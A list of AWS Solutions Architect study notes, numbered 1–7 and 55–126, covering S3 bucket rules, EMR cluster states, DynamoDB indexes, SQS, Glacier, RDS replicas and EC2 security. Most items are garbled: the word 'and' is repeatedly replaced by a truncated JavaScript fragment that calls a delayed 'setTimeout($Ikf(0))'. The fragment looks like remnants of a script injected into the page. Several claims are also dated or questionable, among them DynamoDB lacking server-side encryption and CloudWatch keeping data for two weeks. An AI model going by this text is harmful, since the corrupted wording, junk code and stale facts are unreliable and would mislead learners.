    1. STARTING – The cluster provisions, starts, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and configures EC2 instances.
    2. BOOTSTRAPPING – Bootstrap actions are being executed on the cluster.
    3. RUNNING – A step for the cluster is currently being run.
    4. WAITING – The cluster is currently active, but has no steps to run.
    5. TERMINATING – The cluster is in the process of shutting down.
    6. TERMINATED – The cluster was shut down without error.
    7. TERMINATED_WITH_ERRORS – The cluster was shut down with errors.
  55. When you create a snapshot of a Throughput Optimised HDD (st1) or Cold HDD (sc1) volume, performance may drop as far as the volume’s baseline value while the snapshot is in progress. This behaviour is specific to these volume types. 
  56. Bucket names must be globally unique, regardless of the AWS region in which you create the bucket, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they must be DNS-compliant.
  57. Bucket names must be at least 3 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and no more than 63 characters long.
  58. Bucket names can contain lowercase letters, numbers, periods, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/or hyphens. Each label must start andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and end with a lowercase letter or a number.
  59. Bucket names must not be formatted as an IP address (e.g., 192.168.1.1).
  60. The URL of any S3 object follows this template: https://s3-<region>.amazonaws.com/<bucket-name>/<object-path><object-name>
  61. DDOS attack: The attack surface is composed of the different Internet entry points that allow access to your application. The strategy to minimise the attack surface area is to
    1. Reduce the number of necessary Internet entry points
    2. Eliminate non-critical Internet entry points
    3. Separate end user traffic from management traffic
    4. Obfuscate necessary Internet entry points to the level that untrusted end users cannot access them, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and
    5. Decouple Internet entry points to minimise the effects of attacks. This strategy can be accomplished with Amazon VPC.
  62. Amazon RDS read replicas provide enhanced performance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and durability for Amazon RDS instances. This replication feature makes it easy to scale out elastically beyond the capacity constraints of a single Amazon RDS instance for read-heavy database workloads. You can create one or more replicas of a given source Amazon RDS instance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and serve high-volume application read traffic from multiple copies of your data, thereby increasing aggregate read throughput.
  63. AWS Instance profile is a container for an AWS Identity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Access Management (IAM) role that you can use to pass role information to an Amazon EC2 instance when the instance starts. The IAM role should have a policy attached that only allows access to the AWS Cloud services necessary to perform its function.
  64.  To create an Availability Zone-independent architecture, create a NAT gateway in each Availability Zone andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and configure your routing to ensure that resources use the NAT gateway in the same Availability Zone.
  65. DynamoDB: You can create a maximum of 5 global secondary indexes per table.
  66. Elastic Load Balancing supports the Server Order Preference option for negotiating connections between a client andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a load balancer. During the SSL connection negotiation process, the client andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the load balancer present a list of ciphers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and protocols that they each support, in order of preference. By default, the first cipher on the client’s list that matches any one of the load balancer’s ciphers is selected for the SSL connection. If the load balancer is configured to support Server Order Preference, then the load balancer selects the first cipher in its list that is in the client’s list of ciphers. This ensures that the load balancer determines which cipher is used for SSL connection. If you do not enable Server Order Preference, the order of ciphers presented by the client is used to negotiate connections between the client andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the load balancer.
  67. Amazon WorkSpaces uses PCoIP, which provides an interactive video stream without transmitting actual data.
  68. Architect for high availability: Distributing applications across multiple Availability Zones provides the ability to remain resilient in the face of most failure modes, including natural disasters or system failures.
  69. Amazon DynamoDB does not have a server-side feature to encrypt items within a table. You need to use a solution outside of DynamoDB such as a client-side library to encrypt items before storing them, or a key management service like AWS Key Management Service to manage keys that are used to encrypt items before storing them in DynamoDB.
  70. Amazon EC2 roles must be assigned a policy. 
  71. Integration of Role with Active Directory involves integration between Active Directory andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and IAM via SAML.
  72. DynamoDB: You can have multiple local secondary indexes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they must be created at the same time the table is created. You can create multiple global secondary indexes associated with a table at any time.
  73. The Auto Scaling cool-down period is a configurable setting for your Auto Scaling group that helps ensure that Auto Scaling doesn’t launch or terminate additional instances before the previous scaling activity takes effect. After the Auto Scaling group dynamically scales using a simple scaling policy, Auto Scaling waits for the cool-down period to complete before resuming scaling activities.
  74. Amazon DynamoDB supports Query operations that require an input value andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Scan operations that do not require an input value when retrieving data from a table. #DynamoDB
  75. Data is copied asynchronously from the source database to the Read Replica. #RDS
  76. The supported notification protocols for SNS are HTTP, HTTPS, Amazon SQS, Email, Short Message Service (SMS), andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and AWS Lambda. #SNS
  77. Delay queues make messages unavailable upon arrival to the queue andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and visibility timeouts make messages unavailable after being retrieved from the queue. #SQS
  78. You must provide the receipt handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle for the message in order to delete it from a queue. #SQS
  79. VPC subnets do not span availability zones. One subnet equals one availability zone. #VPC
  80. The bursty nature of the IO (~3000 IOPS) makes the General Purpose SSD the more cost-effective choice. #IO #EBS
  81. The instance type defines the virtual hardware (CPU, Memory) allocated to the instance. #EC2
  82. Identity federation is based on temporary security tokens. Access cannot be granted directly to external identities, nor can they be added to IAM groups. #IAM
  83. Amazon S3, Amazon Redshift, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Amazon Elastic search Service are the three possible destinations for Amazon Firehose data. #KinesisFirehose
  84. Amazon EMR is an excellent choice to analyze data at read, such as logs stored on Amazon S3. #AmazonEMR
  85. Amazon Kinesis Streams can analyze streams of data in real time. #KinesisStreams
  86. Gateway Stored Volumes replicate all data to the cloud asynchronously while storing it all locally to reduce latency. #StorageGateway
  87. Gateway Cached Volumes provide an iSCSI interface to block storage, but copies all files to Amazon S3 for durability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and retains only the recently used files locally.  #StorageGateway
  88. Amazon Cloud Front can use any HTTP/S source as an origin, whether on AWS or on-premises. #Cloudfront
  89. AWS Config tracks the configuration of your AWS infrastructure andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and does not monitor its health. #AWSConfig
  90. Amazon Glacier objects are retrieved online (not shipped) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and are available in three to five hours. #Glacier
  91. You must enable versioning before you can enable cross-region replication, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Amazon S3 must have IAM permissions to perform the replication. #S3
  92. Lifecycle rules migrate data from one storage class to another, not from one bucket to another. #S3
  93. Amazon CloudWatch metric data is kept for 2 weeks. #CloudWatch
  94. Query is the most efficient operation to find a single item in a large table. #DynamoDB
  95. Amazon SES can also be used to receive messages andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deliver them to an Amazon S3 bucket, call custom code via an AWS Lambda function, or publish notifications to Amazon SNS. #SES
  96. Resources aren’t replicated across regions unless organizations choose to do so. #General
  97. In Amazon S3, you GET an object or PUT an object, operating on the whole object at once, instead of incrementally updating portions of the object as you would with a file. #S3
  98. You can’t “mount” a bucket, “open” an object, install an operating system on Amazon S3, or run a database on S3. #S3
  99. Amazon Elastic File System (AWS EFS) provides network-attached shared file storage (NAS storage) using the NFS v4 protocol.
  100. S3 bucket objects – User metadata is optional, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it can only be specified at the time an object is created.
  101. The combination of bucket, key, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and optional version ID uniquely identifies an Amazon S3 object.
  102. For PUTs to existing objects (object overwrite to an existing key) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for object DELETEs, Amazon S3 provides eventual consistency.
  103. for PUTs to existing objects (object overwrite to an existing key) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for object DELETEs, Amazon S3 provides eventual consistency.
  104. Amazon S3 bucket policies are the recommended access control mechanism for Amazon S3 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and provide much finer-grained control.
  105. Versioning is turned on at the bucket level. Once enabled, versioning cannot be removed from a bucket; it can only be suspended.
  106. MFA Delete can only be enabled by the root account
  107. Multipart upload is a three-step process: initiation, uploading the parts, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and completion (or abort).
  108. Cross-region replication is a feature of Amazon S3 that allows you to asynchronously replicate all new objects in the source bucket in one AWS region to a target bucket in another region. To enable cross-region replication, versioning must be turned on for both source andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and destination buckets, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you must use an IAM policy to give Amazon S3 permission to replicate objects on your behalf.
  109. In Amazon Glacier, data is stored in archives. An archive can contain up to 40TB of data, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you can have an unlimited number of archives.
  110. Glacier Vaults are containers for archives. Each AWS account can have up to 1,000 vaults.
  111. Amazon Glacier supports 40TB archives versus 5TB objects in Amazon S3.
  112. Archives in Amazon Glacier are identified by system-generated archive IDs, while Amazon S3 lets you use “friendly” key names.
  113. Amazon Glacier archives are automatically encrypted, while encryption at rest is optional in Amazon S3.
  114. Versioning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and MFA Delete can be used to protect against accidental deletion in S3 buckets.
  115. Multipart upload can be used to upload large objects, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Range GETs can be used to download portions of an Amazon S3 object or Amazon Glacier archive.
  116. Amazon S3 event notifications can be used to send an Amazon SQS or Amazon SNS message or to trigger an AWS Lambda function when an object is created or deleted.
  117. Amazon Glacier vaults can be locked for compliance purposes.
  118. S3 – Use ACLs Amazon S3 bucket policies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and AWS IAM policies for access control.
  119. CloudFront – Use pre-signed URLs for time-limited download access.
  120. RRS offers lower durability at lower cost for easily replicated data.
  121. Lifecycle configuration rules define actions to transition objects from one storage class to another based on time.
  122. Data is stored in encrypted archives that can be as large as 40TB.
  123. Enhanced networking is available only for instances launched in an Amazon Virtual Private Cloud 
  124. The Amazon Machine Image (AMI) defines the initial software that will be on an instance when it is launched.
  125. Security groups allow you to control traffic based on port, protocol, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and source.
  126. EC2-Classic Security Groups Control outgoing instance traffic 
